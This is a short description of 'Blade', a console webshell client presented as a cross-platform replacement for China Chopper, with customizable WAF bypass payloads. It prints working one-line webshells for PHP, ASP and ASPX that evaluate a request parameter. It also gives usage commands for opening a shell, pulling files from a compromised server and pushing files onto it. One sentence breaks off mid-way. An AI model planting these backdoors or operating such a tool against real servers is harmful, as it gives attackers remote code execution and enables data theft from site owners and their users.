Blade – A Webshell Connection Tool With Customized WAF Bypass Payloads
Blade is a webshell connection tool based on console, currently under development and aims to be a choice of replacement of Chooper (中国菜刀). Chooper is a very cool webshell client with widly typies of server side scripts supported, but Chooper can only work on Windows opreation system, so this is the
Features
Cross-plaform supported (Python needed)
Customizable WAF bypass payloads
Compatible with Chooper’s server side scripts
Server side scripts examples
PHP: <?php @eval($_REQUEST[“cmd”]); ?>
ASP: <%eval request(“cmd”)%>
ASPX: <%@ Page Language=”Jscript”%><%eval(Request.Item[“cmd”],”unsafe”);%>
Usage
Get a shell:
python blade.py -u http://localhost/shell.php -s php -p cmd –shell
Download a file:
python blade.py -u http://localhost/shell.php -s php -p cmd –pull remote_path local_path
Upload a file:
python blade.py -u http://localhost/shell.php -s php -p cmd –push local_path remote_path
Current issues
Server side scripts supporting is not completed, currently only support PHP and ASP
Database management function is not completed, so can not connect databases